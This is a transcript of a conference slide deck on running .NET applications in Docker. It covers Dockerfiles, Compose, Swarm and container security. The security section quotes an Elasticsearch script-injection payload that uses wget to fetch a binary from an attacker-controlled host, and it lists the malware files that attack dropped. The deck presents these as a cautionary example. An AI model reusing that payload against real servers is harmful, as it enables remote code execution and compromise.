running .net on docker
TRANSCRIPT
![Page 2: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/2.jpg)
![Page 3: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/3.jpg)
![Page 5: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/5.jpg)
@Ben_Hall / Blog.BenHall.me.uk
WH
O AM
I?
![Page 6: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/6.jpg)
Learn via Interactive Browser-Based LabsKatacoda.com
![Page 7: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/7.jpg)
Agenda
• Getting started with Docker• Windows Containers vs Linux Containers• Building .NET applications as containers• Deploying containers• The future
![Page 8: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/8.jpg)
doger.io
![Page 9: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/9.jpg)
![Page 10: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/10.jpg)
https://www.docker.com/whatisdocker/
Container
![Page 11: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/11.jpg)
Own Process SpaceOwn Network InterfaceOwn Root Directories
Sandboxed
Like a lightweight VM. But it’s not a VM.
Container
![Page 12: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/12.jpg)
Native CPUNative Memory
Native IO
No Pre-AllocationNo Performance Overheard
Container
![Page 13: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/13.jpg)
Milliseconds to launch
![Page 14: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/14.jpg)
Docker - An open platform for distributed applications for developers and sysadmins.
![Page 15: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/15.jpg)
Got us to agree on something!
![Page 16: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/16.jpg)
![Page 17: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/17.jpg)
Batteries included but removable
![Page 18: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/18.jpg)
![Page 19: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/19.jpg)
![Page 20: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/20.jpg)
![Page 21: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/21.jpg)
> docker run –p 6379:6379 redis:3.0.3 _.-``__ ''-._ _.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit .-`` .-```. ```\/ _.,_ ''-._ ( ' , .-` | `, ) Running in standalone mode |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379 | `-._ `._ / _.-' | PID: 1 `-._ `-._ `-./ _.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | http://redis.io `-._ `-._`-.__.-'_.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | `-._ `-._`-.__.-'_.-' _.-' `-._ `-.__.-' _.-' `-._ _.-' `-.__.-'
1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.31:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379
![Page 22: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/22.jpg)
Installing on OSX / Windows
https://www.docker.com/getdocker
![Page 23: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/23.jpg)
![Page 24: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/24.jpg)
Installing In Production'curl -sSL https://get.docker.com/ | sh'
![Page 25: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/25.jpg)
Very Simple Host
A computer station that runs docker daemon
![Page 26: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/26.jpg)
Windows Containers, Linux Containers
![Page 27: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/27.jpg)
Kernel Virtualisation
![Page 28: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/28.jpg)
Base Image
![Page 29: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/29.jpg)
Linux Containers
• Centos, Ubuntu, Alpine
• Binaries built for Linux kernel
![Page 30: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/30.jpg)
Windows Containers
• Windows Server Core, Windows Nano
• Binaries built for Windows
![Page 31: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/31.jpg)
Building Docker Containers
![Page 32: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/32.jpg)
https://www.katacoda.com/courses/dotnet-in-docker/deploying-aspnet-core-as-docker-container
![Page 33: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/33.jpg)
$ cat Dockerfile-linuxFROM microsoft/dotnet:1.0.0-preview2-sdk
![Page 34: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/34.jpg)
![Page 35: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/35.jpg)
$ cat Dockerfile-linuxFROM microsoft/dotnet:1.0.0-preview2-sdk
RUN mkdir /appWORKDIR /app
COPY project.json /appRUN ["dotnet", "restore"]
![Page 36: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/36.jpg)
$ cat Dockerfile-linuxFROM microsoft/dotnet:1.0.0-preview2-sdk
RUN mkdir /appWORKDIR /app
COPY project.json /appRUN ["dotnet", "restore"]
COPY . /appRUN ["dotnet", "build"]
![Page 37: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/37.jpg)
$ cat Dockerfile-linuxFROM microsoft/dotnet:1.0.0-preview2-sdk
RUN mkdir /appWORKDIR /app
COPY project.json /appRUN ["dotnet", "restore"]
COPY . /appRUN ["dotnet", "build"]
EXPOSE 5000/tcpCMD ["dotnet", "run"]
![Page 38: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/38.jpg)
$ docker build -t aspnet-app:v0.1 .
$ docker run -d \ -t -p 5000:5000 \ --name app \ aspnet-app:v0.1
![Page 39: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/39.jpg)
$ type Dockerfile-windows
FROM microsoft/iis:windowsservercore-10.0.14393.693
![Page 40: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/40.jpg)
$ type Dockerfile-windows
FROM microsoft/iis:windowsservercore-10.0.14393.693SHELL ["powershell", "-command“]
![Page 41: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/41.jpg)
RUN Install-WindowsFeature NET-Framework-45-ASPNET; Install-WindowsFeature Web-Asp-Net45
![Page 42: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/42.jpg)
RUN Remove-Website -Name 'Default Web Site'; \ mkdir c:\NerdDinner; \ New-Website -Name 'nerd-dinner' \ -Port 80 -PhysicalPath 'c:\NerdDinner' \ -ApplicationPool '.NET v4.5‘
![Page 43: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/43.jpg)
COPY NerdDinner c:\NerdDinner
![Page 44: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/44.jpg)
$ type Dockerfile-windows
FROM microsoft/iis:windowsservercore-10.0.14393.693SHELL ["powershell", "-command"]
RUN Install-WindowsFeature NET-Framework-45-ASPNET; Install-WindowsFeature Web-Asp-Net45
RUN Remove-Website -Name 'Default Web Site'; \ mkdir c:\NerdDinner; \ New-Website -Name 'nerd-dinner' \ -Port 80 -PhysicalPath 'c:\NerdDinner' \ -ApplicationPool '.NET v4.5‘
EXPOSE 80
COPY NerdDinner c:\NerdDinner
![Page 45: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/45.jpg)
> cat DockerfileFROM node:6
RUN mkdir -p /usr/src/appWORKDIR /usr/src/app
COPY . /usr/src/appRUN npm install
CMD [ "npm", "start" ]
> docker build –t nodeapp .
> docker run –d –p 3000 nodeapp
![Page 46: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/46.jpg)
Visual Studio Integration
![Page 47: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/47.jpg)
Debugging Node.js with VS CodeEXPOSE 3000EXPOSE 5858CMD ["node", "--debug=5858","index.js"]
docker run -d -p 3000:3000 -p 5858:5858 nodeapp
![Page 48: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/48.jpg)
![Page 49: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/49.jpg)
Docker in Production
![Page 50: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/50.jpg)
Containers can’t fix broken architectures.
But they can help…
![Page 51: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/51.jpg)
Production isn’t special
Just another environment
![Page 52: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/52.jpg)
ImmutableDisposable Container Pattern
![Page 53: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/53.jpg)
Docker Compose
![Page 54: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/54.jpg)
> docker-compose up -d> cat docker-compose.yml
web: image: ocelotuproar/katacoda volumes: - /opt/projects/katacoda/data:/usr/src/app/data - /opt/docker/katacoda/db:/usr/src/app/ocelite-db - /var/run/docker.sock:/var/run/docker.sock ports: - 3000 environment: VIRTUAL_HOST: 'katacoda.com,*.katacoda.com' NODE_ENV: 'production’ restart: always
// Production version of docker-compose-dev.yml
![Page 55: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/55.jpg)
> docker-compose up # Start containers–d # In background
Recreating katacoda_nginx_1...Recreating katacoda_redis_1...Recreating katacoda_db_1...Recreating katacoda_elasticsearch_1...Recreating katacoda_web_1…
> docker-compose stop # Stop containersStopping katacoda_web_1...Stopping katacoda_elasticsearch_1...Stopping katacoda_db_1...Stopping katacoda_redis_1...Stopping katacoda_nginx_1...
![Page 56: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/56.jpg)
Swarm
![Page 57: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/57.jpg)
• https://www.katacoda.com/courses/docker-orchestration/
$ docker service create \ --name http \ --network skynet \ --replicas 2 \ -p 80:80 \ katacoda/docker-http-server
![Page 58: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/58.jpg)
Constraint Scheduler$ docker run \ -e constraint:ostypelabel==windowscompat \ windowservercore cmd
$ docker run \ -e constraint:ostypelabel==linuxcompat \ ubuntu bash
![Page 59: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/59.jpg)
![Page 60: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/60.jpg)
Microsoft, Apprenda, Red Hat
https://github.com/kubernetes/kubernetes/issues/22623
![Page 61: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/61.jpg)
Common Question: Is it secure?
![Page 62: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/62.jpg)
Hosting provider becomes unhappy
![Page 63: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/63.jpg)
![Page 64: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/64.jpg)
![Page 65: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/65.jpg)
org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi http://<IP Address>:9985/xdvi\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
![Page 66: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/66.jpg)
C /binC /bin/netstatC /bin/psC /bin/ssC /etcC /etc/init.dA /etc/init.d/DbSecuritySptA /etc/init.d/selinuxC /etc/rc1.dA /etc/rc1.d/S97DbSecuritySptA /etc/rc1.d/S99selinuxC /etc/rc2.dA /etc/rc2.d/S97DbSecuritySptA /etc/rc2.d/S99selinuxC /etc/rc3.dA /etc/rc3.d/S97DbSecuritySptA /etc/rc3.d/S99selinuxC /etc/rc4.dA /etc/rc4.d/S97DbSecuritySptA /etc/rc4.d/S99selinuxC /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
A /etc/rc5.d/S97DbSecuritySptA /etc/rc5.d/S99selinuxC /etc/sshA /etc/ssh/bfgffaA /os6A /safe64C /tmpA /tmp/.Mm2A /tmp/64A /tmp/6SxxA /tmp/6UbbA /tmp/DDos99A /tmp/cmd.nA /tmp/conf.nA /tmp/ddos8A /tmp/dp25A /tmp/frccA /tmp/gates.lodA /tmp/hkddosA /tmp/hsperfdata_rootA /tmp/linux32
A /tmp/linux64A /tmp/managerA /tmp/moni.lodA /tmp/nbA /tmp/o32A /tmp/obaA /tmp/okmlA /tmp/oniA /tmp/yn25C /usrC /usr/binA /usr/bin/.sshdA /usr/bin/dpkgdA /usr/bin/dpkgd/netstatA /usr/bin/dpkgd/psA /usr/bin/dpkgd/ss
![Page 67: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/67.jpg)
Read Only Containers
> docker run –-read-only \ –v /data:/data \ elasticsearch
![Page 68: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/68.jpg)
Is Docker Secure?
• Yes. It’s as secure as your practices are.• ElasticSearch hack would have taken over
entire box• New game, new rules to play by
![Page 69: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/69.jpg)
![Page 70: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/70.jpg)
![Page 71: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/71.jpg)
Your local machine is now the same as production
![Page 72: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/72.jpg)
The Future?
![Page 73: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/73.jpg)
Docker + Windows
![Page 74: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/74.jpg)
Microsoft
![Page 75: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/75.jpg)
![Page 76: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/76.jpg)
![Page 77: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/77.jpg)
SQL Server as a Container
![Page 78: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/78.jpg)
Visual Studio as a Container?
![Page 79: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/79.jpg)
RStudio
• docker run -d -p 8787:8787 rocker/rstudio
![Page 80: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/80.jpg)
Docker + Desktop Applications
https://blog.jessfraz.com/post/docker-containers-on-the-desktop/
![Page 81: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/81.jpg)
It’s amazing, but a little confusing.
$ docker run -it \ -v /etc/localtime:/etc/localtime \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=unix$DISPLAY \ --device /dev/snd \ --link pulseaudio:pulseaudio \ -e PULSE_SERVER=pulseaudio \ --device /dev/video0 \ --name skype \ jess/skype
![Page 82: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/82.jpg)
It’s amazing, but a little confusing.
$ docker run -it \ -v /etc/localtime:/etc/localtime \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=unix$DISPLAY \ --device /dev/snd \ --link pulseaudio:pulseaudio \ -e PULSE_SERVER=pulseaudio \ --device /dev/video0 \ --name skype \ jess/skype
![Page 83: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/83.jpg)
![Page 84: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/84.jpg)
![Page 85: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/85.jpg)
![Page 86: Running .NET on Docker](https://reader033.vdocuments.mx/reader033/viewer/2022052705/58ce74f71a28abdc578b6493/html5/thumbnails/86.jpg)
http://www.katacoda.com/